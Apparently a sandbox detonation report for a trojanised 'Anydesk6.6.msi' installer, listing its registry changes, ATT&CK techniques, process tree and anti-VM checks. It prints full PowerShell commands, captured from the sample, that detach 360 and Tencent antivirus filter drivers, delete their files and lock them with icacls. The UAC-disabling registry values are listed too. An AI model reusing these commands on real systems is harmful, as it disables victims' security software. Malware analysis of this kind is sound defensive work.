25b7267bd776447563554f6e98e4bac1944a3f800c1658231df71293d0dfb07e

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	iusb3mon.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	iusb3mon.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4676	powershell.exe
2528	powershell.exe
4920	powershell.exe
3824	powershell.exe
2908	powershell.exe
4020	powershell.exe
728	powershell.exe
3812	powershell.exe
4040	powershell.exe
2024	powershell.exe
1212	powershell.exe
3244	powershell.exe
3344	powershell.exe
3284	powershell.exe
4072	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	iusb3mon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	iusb3mon.exe

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\Software\Wine	iusb3mon.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\ProgramData\\Program\\iusb3mon.exe"	iusb3mon.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\ProgramData\\Program\\iusb3mon.exe"	iusb3mon.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2392887640-1187051047-2909758433-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Microsoft = "C:\\ProgramData\\Program\\iusb3mon.exe"	iusb3mon.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	iusb3mon.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

persistence privilege_escalation

description	ioc	Process
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4668	iusb3mon.exe

Drops file in Windows directory 10 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSIEF62.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIEFF0.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e57d438.msi	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID486.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\SourceHash{03D03980-BCD0-46A2-A817-0A2C9A26545D}	msiexec.exe
File created	C:\Windows\Installer\e57d43a.msi	msiexec.exe
File created	C:\Windows\Installer\e57d438.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe

Executes dropped EXE 2 IoCs

pid	Process
2112	un.exe
4668	iusb3mon.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 7 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4676	powershell.exe
2528	powershell.exe
4920	powershell.exe
3824	powershell.exe
1212	powershell.exe
4040	powershell.exe
3812	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
3852	MsiExec.exe
3852	MsiExec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
3592	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 27 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	iusb3mon.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	SecEdit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	fltMC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000b58935fac5ebb7730000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000b58935fa0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff000000000700010000680900b58935fa000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1db58935fa000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000b58935fa00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	iusb3mon.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	iusb3mon.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1856	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3852	MsiExec.exe
3812	powershell.exe
3812	powershell.exe
3812	powershell.exe
4676	powershell.exe
4676	powershell.exe
4676	powershell.exe
2528	powershell.exe
2528	powershell.exe
2528	powershell.exe
4920	powershell.exe
4920	powershell.exe
4920	powershell.exe
3824	powershell.exe
3824	powershell.exe
3824	powershell.exe
936	msiexec.exe
936	msiexec.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
728	powershell.exe
728	powershell.exe
2908	powershell.exe
2908	powershell.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
2024	powershell.exe
2024	powershell.exe
4020	powershell.exe
4020	powershell.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
4668	iusb3mon.exe
2908	powershell.exe
728	powershell.exe
2024	powershell.exe
4668	iusb3mon.exe
4668	iusb3mon.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3592	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3592	msiexec.exe
Token: SeSecurityPrivilege	936	msiexec.exe
Token: SeCreateTokenPrivilege	3592	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	3592	msiexec.exe
Token: SeLockMemoryPrivilege	3592	msiexec.exe
Token: SeIncreaseQuotaPrivilege	3592	msiexec.exe
Token: SeMachineAccountPrivilege	3592	msiexec.exe
Token: SeTcbPrivilege	3592	msiexec.exe
Token: SeSecurityPrivilege	3592	msiexec.exe
Token: SeTakeOwnershipPrivilege	3592	msiexec.exe
Token: SeLoadDriverPrivilege	3592	msiexec.exe
Token: SeSystemProfilePrivilege	3592	msiexec.exe
Token: SeSystemtimePrivilege	3592	msiexec.exe
Token: SeProfSingleProcessPrivilege	3592	msiexec.exe
Token: SeIncBasePriorityPrivilege	3592	msiexec.exe
Token: SeCreatePagefilePrivilege	3592	msiexec.exe
Token: SeCreatePermanentPrivilege	3592	msiexec.exe
Token: SeBackupPrivilege	3592	msiexec.exe
Token: SeRestorePrivilege	3592	msiexec.exe
Token: SeShutdownPrivilege	3592	msiexec.exe
Token: SeDebugPrivilege	3592	msiexec.exe
Token: SeAuditPrivilege	3592	msiexec.exe
Token: SeSystemEnvironmentPrivilege	3592	msiexec.exe
Token: SeChangeNotifyPrivilege	3592	msiexec.exe
Token: SeRemoteShutdownPrivilege	3592	msiexec.exe
Token: SeUndockPrivilege	3592	msiexec.exe
Token: SeSyncAgentPrivilege	3592	msiexec.exe
Token: SeEnableDelegationPrivilege	3592	msiexec.exe
Token: SeManageVolumePrivilege	3592	msiexec.exe
Token: SeImpersonatePrivilege	3592	msiexec.exe
Token: SeCreateGlobalPrivilege	3592	msiexec.exe
Token: SeBackupPrivilege	2320	vssvc.exe
Token: SeRestorePrivilege	2320	vssvc.exe
Token: SeAuditPrivilege	2320	vssvc.exe
Token: SeBackupPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeDebugPrivilege	4676	powershell.exe
Token: SeDebugPrivilege	2528	powershell.exe
Token: SeDebugPrivilege	4920	powershell.exe
Token: SeDebugPrivilege	3824	powershell.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe
Token: SeRestorePrivilege	936	msiexec.exe
Token: SeTakeOwnershipPrivilege	936	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3592	msiexec.exe
3592	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
3852	MsiExec.exe
3852	MsiExec.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 936 wrote to memory of 1216	936	msiexec.exe	94
PID 936 wrote to memory of 1216	936	msiexec.exe	94
PID 936 wrote to memory of 3852	936	msiexec.exe	96
PID 936 wrote to memory of 3852	936	msiexec.exe	96
PID 936 wrote to memory of 3852	936	msiexec.exe	96
PID 3852 wrote to memory of 2264	3852	MsiExec.exe	97
PID 3852 wrote to memory of 2264	3852	MsiExec.exe	97
PID 3852 wrote to memory of 2264	3852	MsiExec.exe	97
PID 2264 wrote to memory of 1984	2264	cmd.exe	99
PID 2264 wrote to memory of 1984	2264	cmd.exe	99
PID 2264 wrote to memory of 1984	2264	cmd.exe	99
PID 3852 wrote to memory of 3812	3852	MsiExec.exe	100
PID 3852 wrote to memory of 3812	3852	MsiExec.exe	100
PID 3852 wrote to memory of 3812	3852	MsiExec.exe	100
PID 3852 wrote to memory of 4676	3852	MsiExec.exe	102
PID 3852 wrote to memory of 4676	3852	MsiExec.exe	102
PID 3852 wrote to memory of 4676	3852	MsiExec.exe	102
PID 3852 wrote to memory of 2528	3852	MsiExec.exe	104
PID 3852 wrote to memory of 2528	3852	MsiExec.exe	104
PID 3852 wrote to memory of 2528	3852	MsiExec.exe	104
PID 3852 wrote to memory of 4920	3852	MsiExec.exe	106
PID 3852 wrote to memory of 4920	3852	MsiExec.exe	106
PID 3852 wrote to memory of 4920	3852	MsiExec.exe	106
PID 3852 wrote to memory of 3824	3852	MsiExec.exe	108
PID 3852 wrote to memory of 3824	3852	MsiExec.exe	108
PID 3852 wrote to memory of 3824	3852	MsiExec.exe	108
PID 3852 wrote to memory of 2112	3852	MsiExec.exe	110
PID 3852 wrote to memory of 2112	3852	MsiExec.exe	110
PID 3852 wrote to memory of 4668	3852	MsiExec.exe	112
PID 3852 wrote to memory of 4668	3852	MsiExec.exe	112
PID 3852 wrote to memory of 4668	3852	MsiExec.exe	112
PID 4668 wrote to memory of 2024	4668	iusb3mon.exe	113
PID 4668 wrote to memory of 2024	4668	iusb3mon.exe	113
PID 4668 wrote to memory of 2024	4668	iusb3mon.exe	113
PID 4668 wrote to memory of 728	4668	iusb3mon.exe	114
PID 4668 wrote to memory of 728	4668	iusb3mon.exe	114
PID 4668 wrote to memory of 728	4668	iusb3mon.exe	114
PID 4668 wrote to memory of 4020	4668	iusb3mon.exe	115
PID 4668 wrote to memory of 4020	4668	iusb3mon.exe	115
PID 4668 wrote to memory of 4020	4668	iusb3mon.exe	115
PID 4668 wrote to memory of 2908	4668	iusb3mon.exe	116
PID 4668 wrote to memory of 2908	4668	iusb3mon.exe	116
PID 4668 wrote to memory of 2908	4668	iusb3mon.exe	116
PID 4668 wrote to memory of 1496	4668	iusb3mon.exe	119
PID 4668 wrote to memory of 1496	4668	iusb3mon.exe	119
PID 4668 wrote to memory of 1496	4668	iusb3mon.exe	119
PID 4668 wrote to memory of 1336	4668	iusb3mon.exe	123
PID 4668 wrote to memory of 1336	4668	iusb3mon.exe	123
PID 4668 wrote to memory of 1336	4668	iusb3mon.exe	123
PID 2908 wrote to memory of 1484	2908	powershell.exe	125
PID 2908 wrote to memory of 1484	2908	powershell.exe	125
PID 2908 wrote to memory of 1484	2908	powershell.exe	125
PID 728 wrote to memory of 2584	728	powershell.exe	126
PID 728 wrote to memory of 2584	728	powershell.exe	126
PID 728 wrote to memory of 2584	728	powershell.exe	126
PID 2024 wrote to memory of 3852	2024	powershell.exe	127
PID 2024 wrote to memory of 3852	2024	powershell.exe	127
PID 2024 wrote to memory of 3852	2024	powershell.exe	127
PID 4020 wrote to memory of 3836	4020	powershell.exe	128
PID 4020 wrote to memory of 3836	4020	powershell.exe	128
PID 4020 wrote to memory of 3836	4020	powershell.exe	128
PID 4668 wrote to memory of 3284	4668	iusb3mon.exe	129
PID 4668 wrote to memory of 3284	4668	iusb3mon.exe	129
PID 4668 wrote to memory of 3284	4668	iusb3mon.exe	129

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	iusb3mon.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\PromptOnSecureDesktop = "0"	iusb3mon.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\Anydesk6.6.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3592

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:936
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:1216
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E36A3B18DC868C971B351726AEA4B676
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3852
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\SysWOW64\cmd.exe" /c "fltmc.exe && exit 0||exit 1"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2264
  - - C:\Windows\SysWOW64\fltMC.exe
      fltmc.exe
      4⤵
      System Location Discovery: System Language Discovery
      PID:1984
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360°²È«ÎÀÊ¿*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3812
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$360safe = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -like '*360sd*' } | ForEach-Object { $_.InstallLocation };if ($360safe){$360drive = [IO.Path]::GetPathRoot($360safe).TrimEnd('\');fltmc.exe detach 360Box64 $360drive;fltmc.exe detach 360FsFlt $360drive;fltmc.exe detach 360qpesv $360drive;fltmc.exe detach DsArk $360drive;Remove-Item -Path $360safe -Recurse -Force;(Get-ChildItem -Path $360safe -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $360safe /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4676
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ErrorActionPreference='SilentlyContinue';$huorong_path = Get-ChildItem -Path @('HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKLM:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall', 'HKCU:\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall') -ErrorAction SilentlyContinue | Get-ItemProperty -Name DisplayName, DisplayVersion, InstallLocation, UninstallString -ErrorAction SilentlyContinue | Where-Object { $_.DisplayName -match 'ÌÚÑ¶µçÄÔ¹Ü¼Ò' } | ForEach-Object { [IO.Path]::GetDirectoryName($_.UninstallString.Replace([string][char]34,''))} };if ($huorong_path){$huorong_drive = [IO.Path]::GetPathRoot($huorong_path).TrimEnd('\');fltmc.exe detach TFsFlt $huorong_drive;Remove-Item -Path $huorong_path -Recurse -Force;(Get-ChildItem -Path $huorong_path -Recurse|Where-Object{$_ -is [IO.FileInfo]})|Rename-Item -NewName {'001_'+$_.Name} -Force;icacls.exe $huorong_path /deny 'Everyone:(OI)(CI)RX';Set-Content -Value 'ok' -Path 'C:\ok.ini';}
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Hide Artifacts: Ignore Process Interrupts
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2528
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
